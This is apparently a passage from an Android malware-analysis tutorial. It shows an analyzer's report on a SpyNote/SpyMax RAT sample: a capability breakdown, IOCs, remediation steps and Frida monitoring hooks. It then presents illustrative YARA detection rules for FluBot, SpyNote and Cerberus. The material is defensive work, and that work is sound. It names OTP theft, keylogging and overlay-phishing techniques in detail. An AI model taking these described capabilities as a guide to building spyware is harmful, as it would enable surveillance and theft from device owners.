│ Kingsoft │ Android.Troj.SpyMax.e │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Lionic │ Trojan.AndroidOS.SpyMax.C!c │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ NANO-Antivirus │ Trojan.Android.SpyMax.kklyjl │ MALICIOUS │
╰──────────────────────┴───────────────────────────────────────┴──────────────╯
Sandbox Verdicts
Sandbox Verdict Malware Names
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Zenbox android MALICIOUS SpyNote
Phase
3
: YARA Scanning
YARA
:
3
rule
(s) matched
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
Rule
: Dropper_DexClassLoader │
│
Desc
: Dynamic DEX loading - dropper/loader behavior │
│
Category
: Dropper │
│
MITRE
: T1544 │
│
Matched
: DexClassLoader, http, https │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
Rule
: SMSFraud_PremiumRate │
│
Desc
: SMS fraud sending to premium rate numbers │
│
Category
: Financial Fraud │
│
MITRE
: T1582 │
│
Matched
: sendTextMessage, SmsManager │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
Rule
: AntiAnalysis_EmulatorCheck │
│
Desc
: Anti-analysis emulator detection │
│
Category
: Evasion │
│
MITRE
: T1633 │
│
Matched
: goldfish, Genymotion, Android SDK │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Phase
4
: AI Analysis (Claude/claude-opus-
4
-
6
)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── AI Analysis Results ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
Classification
: RAT |
Family
: SpyNote/SpyMax |
Confidence
: High │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Executive Summary ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ This is a SpyNote/SpyMax Remote Access Trojan (RAT) disguised as
'GoosApp'
. It provides an attacker with complete remote control over an infected Android device including real-time audio surveillance, SMS interception (including banking OTPs), camera access, GPS tracking, keystroke logging via accessibility │
│ services,
and
overlay-based credential phishing. The multi-language social engineering strings (Arabic, Russian, Chinese, Burmese, Turkish) indicate a globally distributed campaign targeting victims across multiple regions. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Technical Analysis ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ The APK package name
'elimination.kitchen.secured'
follows the randomized three-word pattern commonly generated by SpyNote builder tools. All component names under the subpackage
'pceudkwhpxxxosuyjcduknhpxugjttkfgpvmujxufydwbdhwri2.gdflvwzqcjwsyigjsmgjolyskkyyhnfrhdsyyrxpmdzmoavvhj6'
exhibit extreme obfuscation │
│ with long random consonant strings appended with short alphanumeric suffixes — this is the signature naming convention of the SpyNote v6+ builder. Despite the obfuscation score reading
0
(likely a tool limitation), the component naming itself constitutes heavy obfuscation. │
│ │
│ The accessibility service component (service
'nSsAP24'
) implements
onAccessibilityEvent
()
and
contains references to button clicking (
'android:id/button1'
), deletion commands (
'silmek'
— Turkish for
'delete'
), action dispatching (
'[action]'
),
and
home accessibility updates (
'updateHomeAccessibility'
). This │
│ service is the core of SpyNote's keylogging
and
UI automation capability — it monitors all foreground accessibility events, captures text input,
and
can programmatically click UI elements to auto-grant permissions, disable Play Protect,
and
interact with banking applications. │
│ │
│ The AdminReceiver component enables Device Administrator privileges, providing wipe-protection
and
making the malware extremely difficult to uninstall without factory reset. Combined with SYSTEM_ALERT_WINDOW for overlay attacks, READ_SMS/SEND_SMS for OTP interception
and
SMS fraud, RECORD_AUDIO for live │
│ microphone surveillance, CAMERA for covert photo/video capture,
and
ACCESS_FINE_LOCATION for GPS tracking, this sample implements the full SpyNote capability set. │
│ │
│ The YARA match for DexClassLoader-based dynamic loading combined with ClassLoader.
loadClass
() API calls indicates the sample may fetch
and
load additional DEX payloads at runtime — a common SpyNote technique for modular capability deployment. The emulator detection YARA match confirms anti-analysis measures. The │
│ certificate uses the default Android debug signing identity (android
@android
.com), which is characteristic of SpyNote builder output where operators do
not
bother with custom certificates. │
│ │
│ The high-entropy strings in Arabic (
'فتح نوافذ جديدة أثناء التشغيل في الخلفية'
=
'Open new windows while running in background'
,
'تمكين الإظهار فوق التطبيقات'
=
'Enable display over apps'
), Russian (
'Не оптимизировать'
=
'Do not optimize'
,
'Настройки системы'
=
'System settings'
), Chinese ('启用 Simple keyboard │
│ 以获得更好的性能
' = '
Enable Simple keyboard for better performance
'), and Burmese characters reveal the accessibility service'
s social engineering — it guides victims in multiple languages to grant overlay permissions, disable battery optimization,
and
enable the malicious accessibility service. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Primary Capabilities ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ ► Full remote device control (RAT) │
│ ► Accessibility-based keylogging
and
UI automation │
│ ► SMS interception
and
OTP theft │
│ ► Premium-rate SMS fraud │
│ ► Real-time audio surveillance (microphone recording) │
│ ► Camera capture (photo/video) │
│ ► GPS location tracking │
│ ► Overlay/webinject credential phishing │
│ ► Device Administrator abuse for persistence │
│ ► Call log
and
contact harvesting │
│ ► Dynamic DEX loading for modular payload deployment │
│ ► Emulator/sandbox detection │
│ ► File system access (read/write external storage) │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
ID Technique Tactic Relevance
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
T1629.
001
Impair
Defenses
: Prevent Defense Evasion AdminReceiver device administrator prevents uninstallation;
Application Removal
T1417.
001
Input
Capture
: Keylogging Collection Accessibility service (nSsAP24) with onAccessibilityEvent ha
T1417.
002
Input
Capture
: GUI Input Collection Overlay capability via SYSTEM_ALERT_WINDOW permission for ph
Capture
T1636.
004
Protected User
Data
: SMS Collection READ_SMS permission for OTP interception; SEND_SMS for premi
Messages
T1429 Audio Capture Collection RECORD_AUDIO permission enables real-time microphone surveil
T1512 Video Capture Collection CAMERA permission for covert photo/video capture
T1430 Location Tracking Collection ACCESS_FINE_LOCATION + LocationManager.getLastKnownLocation
T1636.
002
Protected User
Data
: Call Logs Collection READ_CALL_LOG permission for call history exfiltration
T1636.
003
Protected User
Data
: Contact Collection READ_CONTACTS permission for contact harvesting
List
T1544 Ingress Tool Transfer Command
and
Control DexClassLoader dynamic DEX loading confirmed by YARA for dow
T1633.
001
Virtualization/Sandbox Defense Evasion Emulator detection confirmed by YARA AntiAnalysis_EmulatorCh
Evasion
: System Checks
T1626.
001
Abuse Elevation Control Privilege Escalation AdminReceiver component explicitly registered for device adm
Mechanism
: Device
Administrator
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── IOCs for Threat Hunting ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ •
sha256
:
7129
d6c57182f4e53a4fd0f6aac15de30ffc5bfa34bc639a19ee39d2856b3c07 │
│ •
md5
:b2c5e29222f57cf91d30d37b8ec54cc3 │
│ •
package
:elimination.kitchen.secured │
│ •
app_name
:GoosApp │
│ •
cert_sha256
:
465983
f7791f2abeb43ea2cbdc7f21a8260b72bc08a55c839fc1a43bc741a81e │
│ •
receiver
:elimination.kitchen.AdminReceiver │
│ •
accessibility_service
:gdflvwzqcjwsyigjsmgjolyskkyyhnfrhdsyyrxpmdzmoavvhj6nSsAP24 │
│ •
dns
:
1.1
.
1.1
│
│ •
dns
:
1.0
.
0.1
│
│ •
dns
:
8.8
.
8.8
│
│ •
dns
:
8.8
.
4.4
│
│ •
family
:SpyNote/SpyMax │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Remediation Steps ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
1
.
1
. IMMEDIATELY boot into Safe Mode
and
navigate to Settings → Security → Device Administrators. Deactivate the AdminReceiver to allow uninstallation. │
│
2
.
2
. If device admin cannot be deactivated, perform a FACTORY RESET — SpyNote's accessibility service will auto-reactivate admin if attempted in normal mode. │
│
3
.
3
. Change ALL passwords for banking, email, social media,
and
any other accounts accessed from the device — assume all credentials are compromised. │
│
4
.
4
. Contact your bank immediately to report potential OTP interception
and
request temporary account freeze
and
new
2
FA tokens. │
│
5
.
5
. Check SMS history for unauthorized premium-rate messages
and
dispute charges with carrier. │
│
6
.
6
.
Scan
all other devices on the same network — SpyNote operators often target multiple devices. │
│
7
.
7
. Report the APK hash to Google Play Protect via the Android Security team. │
│
8
.
8
. Enable Google Play Protect
and
ensure
'Scan apps with Play Protect'
is re-enabled (SpyNote may have disabled it). │
│
9
.
9
. Consider the device physically compromised for location data — if personal safety is a concern, assume your location history has been tracked. │
│
10
.
10
. File a report with local law enforcement cybercrime unit including the SHA256 hash
and
any distribution URL. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Frida Hooks for Dynamic Analysis ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
1
// SpyNote/SpyMax RAT Frida Hook Suite for elimination.kitchen.secured │
│
2
// Run: frida -U -f elimination.kitchen.secured -l spynote_hooks.js --no-pause │
│
3
│
│
4
Java.
perform
(
function
() { │
│
5
console.
log
(
'[*] SpyNote/SpyMax Frida Hook Suite Loaded'
); │
│
6
console.
log
(
'[*] Target: elimination.kitchen.secured (GoosApp)'
); │
│
7
│
│
8
// ============================================================ │
│
9
// HOOK 1: Accessibility Service - Capture all accessibility events │
│
10
// The core keylogging/UI automation service (nSsAP24) │
│
11
// ============================================================ │
│
12
try { │
│
13
var AccessibilityService = Java.
use
(
'android.accessibilityservice.AccessibilityService'
); │
│
14
AccessibilityService.onAccessibilityEvent.implementation =
function
(event) { │
│
15
if (event != null) { │
│
16
var eventType = event.
getEventType
(); │
│
17
var packageName = event.
getPackageName
(); │
│
18
var text = event.
getText
(); │
│
19
var className = event.
getClassName
(); │
│
20
console.
log
(
'[ACCESSIBILITY] Type: '
+ eventType + │
│
21
' | Pkg: '
+ packageName + │
│
22
' | Class: '
+ className + │
│
23
' | Text: '
+ text); │
│
24
// Log TYPE_VIEW_TEXT_CHANGED (keylogging) │
│
25
if (eventType ===
16
) { │
│
26
console.
log
(
'[KEYLOG] Text changed in '
+ packageName +
': '
+ text); │
│
27
} │
│
28
} │
│
29
this.
onAccessibilityEvent
(event); │
│
30
}; │
│
31
console.
log
(
'[+] Hooked AccessibilityService.onAccessibilityEvent'
); │
│
32
}
catch
(e) { │
│
33
console.
log
(
'[-] AccessibilityService hook failed: '
+ e); │
│
34
} │
│
35
│
│
36
// ============================================================ │
│
37
// HOOK 2: GestureDescription.Builder - Detect programmatic taps │
│
38
// SpyNote uses this to auto-click UI elements │
│
39
// ============================================================ │
│
40
try { │
│
41
var GestureBuilder = Java.
use
(
'android.accessibilityservice.GestureDescription$Builder'
); │
│
42
GestureBuilder.build.implementation =
function
() { │
│
43
console.
log
(
'[GESTURE] GestureDescription.Builder.build() called - SpyNote automating UI interaction'
); │
│
44
console.
log
(
'[GESTURE] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
45
return this.
build
(); │
│
46
}; │
│
47
console.
log
(
'[+] Hooked GestureDescription.Builder.build'
); │
│
48
}
catch
(e) { │
│
49
console.
log
(
'[-] GestureBuilder hook failed: '
+ e); │
│
50
} │
│
51
│
│
52
// ============================================================ │
│
53
// HOOK 3: SMS Interception - Capture all SMS read/send operations │
│
54
// SpyNote steals OTPs and sends premium-rate SMS │
│
55
// ============================================================ │
│
56
try { │
│
57
var SmsManager = Java.
use
(
'android.telephony.SmsManager'
); │
│
58
SmsManager.sendTextMessage.
overload
(
'java.lang.String'
,
'java.lang.String'
,
'java.lang.String'
,
'android.app.PendingIntent'
,
'android.app.PendingIntent'
).implementation =
function
(dest, sc, text, sentIntent, deliveryIntent) { │
│
59
console.
log
(
'[SMS-SEND] Destination: '
+ dest +
' | Text: '
+ text); │
│
60
console.
log
(
'[SMS-SEND] WARNING: Possible premium-rate SMS fraud!'
); │
│
61
// Block the SMS send to prevent financial damage │
│
62
// Uncomment next line to block: return; │
│
63
this.
sendTextMessage
(dest, sc, text, sentIntent, deliveryIntent); │
│
64
}; │
│
65
console.
log
(
'[+] Hooked SmsManager.sendTextMessage'
); │
│
66
}
catch
(e) { │
│
67
console.
log
(
'[-] SmsManager hook failed: '
+ e); │
│
68
} │
│
69
│
│
70
// ============================================================ │
│
71
// HOOK 4: Overlay/Window Injection - Capture phishing overlays │
│
72
// Detects when SpyNote draws over banking apps │
│
73
// ============================================================ │
│
74
try { │
│
75
var WindowManager = Java.
use
(
'android.view.WindowManager$LayoutParams'
); │
│
76
var WindowManagerImpl = Java.
use
(
'android.view.WindowManagerImpl'
); │
│
77
WindowManagerImpl.addView.implementation =
function
(view, params) { │
│
78
if (params != null) { │
│
79
var type = params.type.value; │
│
80
var flags = params.flags.value; │
│
81
console.
log
(
'[OVERLAY] WindowManager.addView() | Type: '
+ type +
' | Flags: '
+ flags); │
│
82
if (type ===
2038
|| type ===
2002
|| type ===
2010
) { │
│
83
console.
log
(
'[OVERLAY] ALERT: System overlay window created - possible phishing injection!'
); │
│
84
console.
log
(
'[OVERLAY] View class: '
+ view.
getClass
().
getName
()); │
│
85
} │
│
86
} │
│
87
this.
addView
(view, params); │
│
88
}; │
│
89
console.
log
(
'[+] Hooked WindowManagerImpl.addView'
); │
│
90
}
catch
(e) { │
│
91
console.
log
(
'[-] WindowManager hook failed: '
+ e); │
│
92
} │
│
93
│
│
94
// ============================================================ │
│
95
// HOOK 5: Audio Recording - Detect microphone surveillance │
│
96
// ============================================================ │
│
97
try { │
│
98
var MediaRecorder = Java.
use
(
'android.media.MediaRecorder'
); │
│
99
MediaRecorder.start.implementation =
function
() { │
│
100
console.
log
(
'[AUDIO] MediaRecorder.start() - Microphone recording initiated!'
); │
│
101
console.
log
(
'[AUDIO] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
102
this.
start
(); │
│
103
}; │
│
104
console.
log
(
'[+] Hooked MediaRecorder.start'
); │
│
105
│
│
106
var AudioRecord = Java.
use
(
'android.media.AudioRecord'
); │
│
107
AudioRecord.startRecording.implementation =
function
() { │
│
108
console.
log
(
'[AUDIO] AudioRecord.startRecording() - Low-level audio capture started!'
); │
│
109
this.
startRecording
(); │
│
110
}; │
│
111
console.
log
(
'[+] Hooked AudioRecord.startRecording'
); │
│
112
}
catch
(e) { │
│
113
console.
log
(
'[-] Audio hook failed: '
+ e); │
│
114
} │
│
115
│
│
116
// ============================================================ │
│
117
// HOOK 6: Camera Capture - Detect covert photography │
│
118
// ============================================================ │
│
119
try { │
│
120
var Camera = Java.
use
(
'android.hardware.Camera'
); │
│
121
Camera.open.
overload
(
'int'
).implementation =
function
(cameraId) { │
│
122
console.
log
(
'[CAMERA] Camera.open(id='
+ cameraId +
') - Covert camera access!'
); │
│
123
return this.
open
(cameraId); │
│
124
}; │
│
125
console.
log
(
'[+] Hooked Camera.open'
); │
│
126
}
catch
(e) { │
│
127
console.
log
(
'[-] Camera hook failed: '
+ e); │
│
128
} │
│
129
│
│
130
try { │
│
131
var CameraManager = Java.
use
(
'android.hardware.camera2.CameraManager'
); │
│
132
CameraManager.openCamera.
overload
(
'java.lang.String'
,
'android.hardware.camera2.CameraDevice$StateCallback'
,
'android.os.Handler'
).implementation =
function
(cameraId, callback, handler) { │
│
133
console.
log
(
'[CAMERA2] CameraManager.openCamera(id='
+ cameraId +
') - Camera2 API access!'
); │
│
134
this.
openCamera
(cameraId, callback, handler); │
│
135
}; │
│
136
console.
log
(
'[+] Hooked CameraManager.openCamera'
); │
│
137
}
catch
(e) { │
│
138
console.
log
(
'[-] Camera2 hook failed: '
+ e); │
│
139
} │
│
140
│
│
141
// ============================================================ │
│
142
// HOOK 7: Location Tracking - Capture GPS exfiltration │
│
143
// ============================================================ │
│
144
try { │
│
145
var LocationManager = Java.
use
(
'android.location.LocationManager'
); │
│
146
LocationManager.getLastKnownLocation.implementation =
function
(provider) { │
│
147
var location = this.
getLastKnownLocation
(provider); │
│
148
if (location != null) { │
│
149
console.
log
(
'[LOCATION] getLastKnownLocation('
+ provider +
') = Lat: '
+ │
│
150
location.
getLatitude
() +
', Lon: '
+ location.
getLongitude
()); │
│
151
} │
│
152
return location; │
│
153
}; │
│
154
console.
log
(
'[+] Hooked LocationManager.getLastKnownLocation'
); │
│
155
}
catch
(e) { │
│
156
console.
log
(
'[-] Location hook failed: '
+ e); │
│
157
} │
│
158
│
│
159
// ============================================================ │
│
160
// HOOK 8: Dynamic Class Loading - Detect payload drops │
│
161
// SpyNote loads additional DEX modules at runtime │
│
162
// ============================================================ │
│
163
try { │
│
164
var DexClassLoader = Java.
use
(
'dalvik.system.DexClassLoader'
); │
│
165
DexClassLoader.$init.implementation =
function
(dexPath, optimizedDir, librarySearchPath, parent) { │
│
166
console.
log
(
'[DEX-LOAD] DexClassLoader loading: '
+ dexPath); │
│
167
console.
log
(
'[DEX-LOAD] Optimized dir: '
+ optimizedDir); │
│
168
this.$
init
(dexPath, optimizedDir, librarySearchPath, parent); │
│
169
}; │
│
170
console.
log
(
'[+] Hooked DexClassLoader.$init'
); │
│
171
│
│
172
var ClassLoader = Java.
use
(
'java.lang.ClassLoader'
); │
│
173
ClassLoader.loadClass.
overload
(
'java.lang.String'
).implementation =
function
(name) { │
│
174
if (name.
indexOf
(
'elimination.kitchen'
) !== -
1
) { │
│
175
console.
log
(
'[CLASS-LOAD] Loading: '
+ name); │
│
176
} │
│
177
return this.
loadClass
(name); │
│
178
}; │
│
179
console.
log
(
'[+] Hooked ClassLoader.loadClass'
); │
│
180
}
catch
(e) { │
│
181
console.
log
(
'[-] ClassLoader hook failed: '
+ e); │
│
182
} │
│
183
│
│
184
// ============================================================ │
│
185
// HOOK 9: Network Connections - Capture C2 communications │
│
186
// SpyNote uses raw TCP sockets for C2 │
│
187
// ============================================================ │
│
188
try { │
│
189
var Socket = Java.
use
(
'java.net.Socket'
); │
│
190
Socket.$init.
overload
(
'java.lang.String'
,
'int'
).implementation =
function
(host, port) { │
│
191
console.
log
(
'[C2-SOCKET] Socket connecting to: '
+ host +
':'
+ port); │
│
192
this.$
init
(host, port); │
│
193
}; │
│
194
Socket.$init.
overload
(
'java.net.InetAddress'
,
'int'
).implementation =
function
(addr, port) { │
│
195
console.
log
(
'[C2-SOCKET] Socket connecting to: '
+ addr.
getHostAddress
() +
':'
+ port); │
│
196
this.$
init
(addr, port); │
│
197
}; │
│
198
console.
log
(
'[+] Hooked Socket.$init'
); │
│
199
│
│
200
var URL = Java.
use
(
'java.net.URL'
); │
│
201
URL.$init.
overload
(
'java.lang.String'
).implementation =
function
(url) { │
│
202
console.
log
(
'[NET-URL] URL created: '
+ url); │
│
203
this.$
init
(url); │
│
204
}; │
│
205
console.
log
(
'[+] Hooked URL.$init'
); │
│
206
}
catch
(e) { │
│
207
console.
log
(
'[-] Network hook failed: '
+ e); │
│
208
} │
│
209
│
│
210
// ============================================================ │
│
211
// HOOK 10: Reflection Calls - Detect hidden API invocations │
│
212
// SpyNote uses reflection to evade static analysis │
│
213
// ============================================================ │
│
214
try { │
│
215
var Method = Java.
use
(
'java.lang.reflect.Method'
); │
│
216
Method.invoke.implementation =
function
(obj, args) { │
│
217
var methodName = this.
getName
(); │
│
218
var className = this.
getDeclaringClass
().
getName
(); │
│
219
if (className.
indexOf
(
'elimination'
) !== -
1
|| className.
indexOf
(
'android.app.admin'
) !== -
1
) { │
│
220
console.
log
(
'[REFLECT] '
+ className +
'.'
+ methodName +
'() invoked via reflection'
); │
│
221
if (args != null) { │
│
222
for (var i =
0
; i < args.length; i++) { │
│
223
console.
log
(
'[REFLECT] arg['
+ i +
']: '
+ args[i]); │
│
224
} │
│
225
} │
│
226
} │
│
227
return this.
invoke
(obj, args); │
│
228
}; │
│
229
console.
log
(
'[+] Hooked Method.invoke'
); │
│
230
}
catch
(e) { │
│
231
console.
log
(
'[-] Reflection hook failed: '
+ e); │
│
232
} │
│
233
│
│
234
// ============================================================ │
│
235
// HOOK 11: Device Admin - Detect admin privilege abuse │
│
236
// ============================================================ │
│
237
try { │
│
238
var DevicePolicyManager = Java.
use
(
'android.app.admin.DevicePolicyManager'
); │
│
239
DevicePolicyManager.lockNow.implementation =
function
() { │
│
240
console.
log
(
'[ADMIN] DevicePolicyManager.lockNow() called - Screen lock attack!'
); │
│
241
this.
lockNow
(); │
│
242
}; │
│
243
DevicePolicyManager.resetPassword.
overload
(
'java.lang.String'
,
'int'
).implementation =
function
(password, flags) { │
│
244
console.
log
(
'[ADMIN] resetPassword called with: '
+ password +
' | flags: '
+ flags); │
│
245
return this.
resetPassword
(password, flags); │
│
246
}; │
│
247
DevicePolicyManager.wipeData.
overload
(
'int'
).implementation =
function
(flags) { │
│
248
console.
log
(
'[ADMIN] CRITICAL: wipeData() called! Device wipe attempted! Flags: '
+ flags); │
│
249
// Block the wipe to preserve evidence │
│
250
// this.wipeData(flags); │
│
251
console.
log
(
'[ADMIN] BLOCKED device wipe for forensic preservation'
); │
│
252
}; │
│
253
console.
log
(
'[+] Hooked DevicePolicyManager (lockNow, resetPassword, wipeData)'
); │
│
254
}
catch
(e) { │
│
255
console.
log
(
'[-] DevicePolicyManager hook failed: '
+ e); │
│
256
} │
│
257
│
│
258
// ============================================================ │
│
259
// HOOK 12: SharedPreferences - Capture config/token storage │
│
260
// SpyNote stores C2 config and tokens in SharedPreferences │
│
261
// ============================================================ │
│
262
try { │
│
263
var SharedPreferencesEditor = Java.
use
(
'android.app.SharedPreferencesImpl$EditorImpl'
); │
│
264
SharedPreferencesEditor.putString.implementation =
function
(key, value) { │
│
265
if (key ===
'token'
|| key.
indexOf
(
'c2'
) !== -
1
|| key.
indexOf
(
'server'
) !== -
1
|| key.
indexOf
(
'host'
) !== -
1
|| key.
indexOf
(
'port'
) !== -
1
) { │
│
266
console.
log
(
'[CONFIG] SharedPreferences.putString("'
+ key +
'", "'
+ value +
'")'
); │
│
267
} │
│
268
return this.
putString
(key, value); │
│
269
}; │
│
270
console.
log
(
'[+] Hooked SharedPreferences.putString'
); │
│
271
}
catch
(e) { │
│
272
console.
log
(
'[-] SharedPreferences hook failed: '
+ e); │
│
273
} │
│
274
│
│
275
console.
log
(
'[*] All hooks installed. Monitoring SpyNote/SpyMax RAT activity...'
); │
│
276
}); │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Saving Reports...
✓ JSON
report
: reports/elimination_kitchen_secured_20260330_113737.json
✓ Frida
script
: reports/elimination_kitchen_secured_frida_hooks.js
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Analysis completed in
124.1s
JSON
Report
: reports/elimination_kitchen_secured_20260330_113737.json
Frida
Script
: reports/elimination_kitchen_secured_frida_hooks.js
11
:
37
:
37
(base) andrey
@andrey-lab
android_malware_analysis ±|main ✗|→
Detection Engineering: YARA Rules and IOC Extraction
Classic vs Tool-Based Detection
YARA Rules for Android Malware
YARA can scan APKs and DEX files. Because APKs are ZIP archives, YARA cannot natively decompress them — strings inside compressed ZIP entries may not match. Always extract first, then scan the DEX files directly.
> These rules are illustrative heuristics , not high-confidence family-detection signatures. The string patterns (permission names, class names) are broad and will generate false positives against legitimate apps. Treat them as a starting point for triage, not attribution.
// yara-rules/android_banking_trojan.yar
rule FluBot_Indicators {
meta:
description =
"Detects FluBot banking trojan indicators"
author =
"Analysis Team"
date =
"2022-01-01"
reference =
"https://www.europol.europa.eu/media-press/newsroom/news/8-arrested-in-spain"
strings:
// FluBot uses Accessibility to detect target apps
$accessibility_config
=
"android.accessibilityservice.AccessibilityService"
ascii
$system_alert
=
"android.permission.SYSTEM_ALERT_WINDOW"
ascii
$sms_send
=
"android.permission.SEND_SMS"
ascii
$boot_receive
=
"android.intent.action.BOOT_COMPLETED"
ascii
// FluBot DGA characteristics in code
$dga_pattern1
=
"hashCode"
ascii
$md5_string
=
"MD5"
ascii
// Common overlay activity pattern
$overlay_type
=
"TYPE_APPLICATION_OVERLAY"
ascii
condition:
$accessibility_config
and
$system_alert
and
$sms_send
and
$boot_receive
and
(
$overlay_type
or
(
$dga_pattern1
and
$md5_string
))
}
rule SpyNote_RAT {
meta:
description =
"Detects SpyNote/SpyMax RAT characteristics"
author =
"Analysis Team"
date =
"2023-01-01"
strings:
// SpyNote's broad permission + TCP RAT signature
$camera
=
"android.permission.CAMERA"
ascii
$microphone
=
"android.permission.RECORD_AUDIO"
ascii
$location
=
"android.permission.ACCESS_FINE_LOCATION"
ascii
$notification_listener
=
"android.service.notification.NotificationListenerService"
ascii
$device_admin
=
"android.permission.BIND_DEVICE_ADMIN"
ascii
// SpyNote custom TCP socket pattern
$socket_class
=
"java.net.Socket"
ascii
$data_streams
=
"java.io.DataInputStream"
ascii
// SpyNote keylog via Accessibility
$accessibility
=
"android.accessibilityservice.AccessibilityService"
ascii
$text_changed
=
"TYPE_VIEW_TEXT_CHANGED"
ascii
condition:
$camera
and
$microphone
and
$location
and
$notification_listener
and
$device_admin
and
$socket_class
and
$data_streams
and
$accessibility
and
$text_changed
}
rule Cerberus_Indicators {
meta:
description =
"Detects Cerberus banking trojan patterns"
author =
"Analysis Team"
date =
"2022-01-01"
reference =
"Source code leaked August 2020"
strings:
// Cerberus C2 protocol indicators
$gate_php
=
"/gate.php"
ascii
$rc4_pattern
=
"RC4"
ascii nocase
$base64_decode
=
"Base64"
ascii
// Cerberus 2FA bypass
$authenticator_pkg
=
"com.google.android.apps.authenticator2"
ascii
// Cerberus screen recording
$media_projection
=
"android.media.projection.MediaProjectionManager"
ascii
// Device admin for persistence
$device_admin
=
"android.permission.BIND_DEVICE_ADMIN"
ascii
condition:
$gate_php
and
(
$rc4_pattern
or
$base64_decode
)
and
$authenticator_pkg
and
(
$media_projection
or
$device_admin
)
}
# Extract APK and run YARA against DEX files
unzip malware.apk -d malware_extracted/
yara -r yara-rules/android_banking_trojan.yar malware_extracted/
# Scanning the APK directly may miss strings inside compressed entries;
# extracting first ensures DEX content is fully visible to YARA.
With analyzer.py:
# YARA runs automatically as Phase 3 of the analysis pipeline
python analyzer.py analyze malware.apk --no-ai
# YARA matches appear in the terminal output and in the JSON report:
# reports/<package>_<timestamp>.json → field: "yara_matches"

"yara_matches"
:
[
{
"rule"
:
"Dropper_DexClassLoader"
,
"source"
:
"classes.dex"
,
"tags"
:
[
]
,
"meta"
:
{
"description"
:
"Dynamic DEX loading - dropper/loader behavior"
,
"severity"
:
"HIGH"
,
"category"
:
"Dropper"
,
"mitre"
:
"T1544"
}
,
"strings"
:
[
"DexClassLoader"
,
"http"
,
"https"
,
"Base64"
]
}
,
{
"rule"
:
"NotificationStealer_OTP"
,
"source"
:
"classes.dex"
,
"tags"
:
[
]
,
"meta"
:
{
"description"
:
"Notification listener stealing OTP codes"
,
"severity"
:
"CRITICAL"
,
"category"
:
"Banking Trojan"
,
"mitre"
:
"T1412"
}
,
"strings"
:
[
"getActiveNotifications"
,
"otp"
,
"OTP"
,
"OTp"
]
}
,
{
"rule"
:
"SMSFraud_Joker"
,
"source"
:
"classes.dex"
,
"tags"
:
[
]
,
"meta"
:
{
"description"
:
